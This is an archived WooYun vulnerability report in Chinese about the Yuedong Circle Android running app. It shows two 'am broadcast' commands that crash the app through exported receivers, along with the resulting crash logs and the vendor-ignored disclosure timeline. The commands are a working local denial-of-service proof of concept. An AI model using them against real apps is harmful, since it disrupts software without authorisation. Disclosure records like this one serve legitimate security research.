乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-26: 细节已通知厂商并且等待厂商处理中 2015-03-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-05-25: 细节向核心白帽子及相关领域专家公开 2015-06-04: 细节向普通白帽子公开 2015-06-14: 细节向实习白帽子公开 2015-06-29: 细节向公众公开
悦动圈跑步app存在多处拒绝服务
应用下载地址:http://www.51yund.com/download.html版本:v2.6.5.1
1.AndroidManifest.xml文件中显示receiver组件暴露
2.发送默认广播指令
am broadcast -n com.yuedong.sport/com.yuedong.sport.broadcast.WebMessageReceiver
am broadcast -n com.yuedong.sport/com.yuedong.sport.broadcast.LongSitReceiver
3.运行结果
4.运行log,空指针
03-25 10:18:14.228: E/AndroidRuntime(19017): FATAL EXCEPTION: main03-25 10:18:14.228: E/AndroidRuntime(19017): Process: com.yuedong.sport, PID: 1901703-25 10:18:14.228: E/AndroidRuntime(19017): java.lang.RuntimeException: Unable to start receiver com.yuedong.sport.broadcast.WebMessageReceiver: java.lang.NullPointerException03-25 10:18:14.228: E/AndroidRuntime(19017): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2417)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.app.ActivityThread.access$1700(ActivityThread.java:138)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1275)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.os.Handler.dispatchMessage(Handler.java:102)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.os.Looper.loop(Looper.java:136)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.app.ActivityThread.main(ActivityThread.java:5095)03-25 10:18:14.228: E/AndroidRuntime(19017): at java.lang.reflect.Method.invokeNative(Native Method)03-25 10:18:14.228: E/AndroidRuntime(19017): at java.lang.reflect.Method.invoke(Method.java:515)03-25 10:18:14.228: E/AndroidRuntime(19017): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786)03-25 10:18:14.228: E/AndroidRuntime(19017): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:602)03-25 10:18:14.228: E/AndroidRuntime(19017): at de.robv.android.xposed.XposedBridge.main(XposedBridge.java:136)03-25 10:18:14.228: E/AndroidRuntime(19017): at dalvik.system.NativeStart.main(Native Method)03-25 10:18:14.228: E/AndroidRuntime(19017): Caused by: java.lang.NullPointerException03-25 10:18:14.228: E/AndroidRuntime(19017): at com.yuedong.sport.broadcast.WebMessageReceiver.onReceive(WebMessageReceiver.java:52)03-25 10:18:14.228: E/AndroidRuntime(19017): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2410)03-25 10:18:14.228: E/AndroidRuntime(19017): ... 11 more
03-25 10:12:36.578: E/AndroidRuntime(14539): FATAL EXCEPTION: main03-25 10:12:36.578: E/AndroidRuntime(14539): Process: com.yuedong.sport, PID: 1453903-25 10:12:36.578: E/AndroidRuntime(14539): java.lang.RuntimeException: Unable to start receiver com.yuedong.sport.broadcast.LongSitReceiver: java.lang.NullPointerException03-25 10:12:36.578: E/AndroidRuntime(14539): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2417)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.app.ActivityThread.access$1700(ActivityThread.java:138)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1275)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.os.Handler.dispatchMessage(Handler.java:102)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.os.Looper.loop(Looper.java:136)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.app.ActivityThread.main(ActivityThread.java:5095)03-25 10:12:36.578: E/AndroidRuntime(14539): at java.lang.reflect.Method.invokeNative(Native Method)03-25 10:12:36.578: E/AndroidRuntime(14539): at java.lang.reflect.Method.invoke(Method.java:515)03-25 10:12:36.578: E/AndroidRuntime(14539): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786)03-25 10:12:36.578: E/AndroidRuntime(14539): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:602)03-25 10:12:36.578: E/AndroidRuntime(14539): at de.robv.android.xposed.XposedBridge.main(XposedBridge.java:136)03-25 10:12:36.578: E/AndroidRuntime(14539): at dalvik.system.NativeStart.main(Native Method)03-25 10:12:36.578: E/AndroidRuntime(14539): Caused by: java.lang.NullPointerException03-25 10:12:36.578: E/AndroidRuntime(14539): at com.yuedong.sport.broadcast.LongSitReceiver.onReceive(LongSitReceiver.java:76)03-25 10:12:36.578: E/AndroidRuntime(14539): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2410)03-25 10:12:36.578: E/AndroidRuntime(14539): ... 11 more
你懂的~
危害等级:无影响厂商忽略
忽略时间:2015-06-29 17:31
暂无